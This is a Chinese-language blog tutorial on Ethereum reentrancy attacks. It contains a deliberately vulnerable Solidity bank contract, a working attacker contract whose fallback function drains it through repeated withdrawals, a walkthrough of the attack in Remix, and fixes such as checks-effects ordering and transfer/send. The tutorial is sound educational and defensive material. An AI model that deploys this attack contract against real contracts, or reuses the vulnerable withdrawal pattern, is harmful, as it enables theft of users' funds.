<>重入攻击
以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅局限于外部账户,合约账户同样可以拥有Ether,并进行转账等操作。
向以太坊合约账户进行转账,发送Ether的时候,会执行合约账户对应合约代码的回调函数(fallback)。
一旦向被攻击者劫持的合约地址发起转账操作,迫使执行攻击合约的回调函数,回调函数中包含回调自身代码,将会导致代码执行“重新进入”合约。这种合约漏洞,被称为重入漏攻击Re-Entrancy。
<>示例代码
银行存定期的例子。
bank.sol
pragma solidity >=0.4.22 <0.6.0; contract Bank { // 银行账户信息 mapping(address =>
uint256) public usersinfo; // 用户存钱,保存到usersinfo function save() public payable
returns (uint256){ require(msg.value>0);
usersinfo[msg.sender]=usersinfo[msg.sender]+ msg.value; return
usersinfo[msg.sender]; } // 显示账户余额 function showBalance(address addr) public
view returns(uint256){ return usersinfo[addr]; } // 显示总账户余额,测试使用 function
showTotalBalance() public view returns(uint256){ return address(this).balance;
} // 用户提现 function withdrawal() public payable{ // 判断是否到期,或者是否锁定等。 //
require(now>saveTime+10) uint amount = usersinfo[msg.sender]; // 账户有钱才提现
if(amount>0){ msg.sender.call.value(amount)(""); usersinfo[msg.sender]=0; } }
function() external payable{} }
由于合约也是一个账户,我们可以使用 **合约到银行去开户存钱**hack.sol`
pragma solidity >=0.4.22 <0.6.0; import "./bank.sol"; contract Hack { // 银行实例
Bank public bank; // 调用栈,次数过大会异常 uint256 public stack=0; // 构造函数
constructor(address payable _bankAddr) public payable{ bank = Bank(_bankAddr);
} // 到银行存钱 function bankSave() public payable returns (uint256){ return
bank.save.value(1 ether)(); } // 显示账户余额 function showBalance()public view
returns (uint256){ return address(this).balance; } //
拿回自己合约的钱,当然这里可以加权限,onlyHacker,只有黑客可以提现 function collectEther() public {
msg.sender.transfer(address(this).balance); } // 到银行提现 function withdrawal()
public { bank.withdrawal(); } // fallback函数, function() external payable{ stack
+= 1; if(msg.sender.balance >=1 ether && stack < 200){ // 如有有钱就提现
bank.withdrawal(); } } }
<>详细流程
为了方便部署演示,这里使用remix编辑器,初始化5个账户,每个账户100eth
使用账户1部署,得到合约地址,并存入银行10eth,并使用账户2、3、4分别存入10 eth。此时银行账户总额40eth
<>部署攻击合约
使用账户5 作为黑客,拿到合约地址0x692…,作为参数部署自己的hack合约hack.sol
contract Hack { // 银行实例 Bank public bank; // 构造函数 constructor(address payable
_bankAddr) public payable{ bank = Bank(_bankAddr); } }
<>调用攻击方法
调用银行存钱 方法 存入2eth(其中1 eth到hack合约账户,1eth到达银行账户)
// 存入银行 function bankSave() public payable returns (uint256){ return
bank.save.value(1 ether)(); }
<>此时银行账户总额41 eth
<>重入攻击
withdrawal调用,账户5的余额变为140 eth。
调用withdrawal 函数,进行银行提现,由于本账户为合约账户,当银行发送以太币的时候会自动调用 fallback函数。
在fallback中,又进行了银行的提现。导致重复提现,直至银行账户清。
// 提现 function withdrawal() public { bank.withdrawal(); } // fallback函数,
function() external payable{ stack += 1; if(msg.sender.balance >=1 ether &&
stack < 200){ // 如有有钱就提现 bank.withdrawal(); } }
<>重入攻击避免
* checks-effects模式,即检查兽先修改状态,后发起转账交易,如果失败则回滚状态,或者手动处理 bank.sol function
withdrawal() public payable{ uint amount = usersinfo[msg.sender]; if(amount>0){
// 清空账户信息,如果下次调用,amount=0,不会进入if usersinfo[msg.sender]=0;
msg.sender.call.value(amount)(""); // usersinfo[msg.sender]=0; } }
这里还有一个问题,就是如果提现失败(call.value),交易并不会回滚,此时usersinfo[msg.sender]已清空
修改2 function withdrawal() public payable{ uint amount = usersinfo[msg.sender];
if(amount>0){ // 清空账户信息,如果下次调用,amount=0,不会进入if usersinfo[msg.sender]=0; if
(msg.sender.call.value(amount)("")== false){ usersinfo[msg.sender]=amount; //
emit 发送提现消息事件 } } }
* 使用send ,transfer 转账时只有2300个gas,不⾜以⽀撑第⼆次交易
* 使用最近的solidity编译版本,新版本一般会过期非安全的函数及变量
<>其他安全防范
边界检测 溢出(使用安全 safemath库)
变量可见性
tx.originx等
https://blog.csdn.net/bondsui/article/details/88097119
<https://blog.csdn.net/bondsui/article/details/88097119>
<>send transfer call区别
*
address.transfer()
throws on failure
forwards 2,300 gas stipend (not adjustable), safe against reentrancy
should be used in most cases as it’s the safest way to send ether //
仅转账,不处理失败时
*
address.send()
returns false on failure // 不会抛出异常,如果失败返回错误
forwards 2,300 gas stipend (not adjustable), safe against reentrancy // 2300
gas安全
should be used in rare cases when you want to handle failure in the contract
如果需要处理失败时,如游戏开发中常用send
*
address.call.value().gas()()
returns false on failure
forwards all available gas (adjustable), not safe against reentrancy // 转发all
gas,不安全
should be used when you need to control how much gas to forward when sending
ether or to call a function of another contract
注意:当send()调用消耗掉所有的gas时,它也不会抛出异常,只是返回false。
热门工具 换一换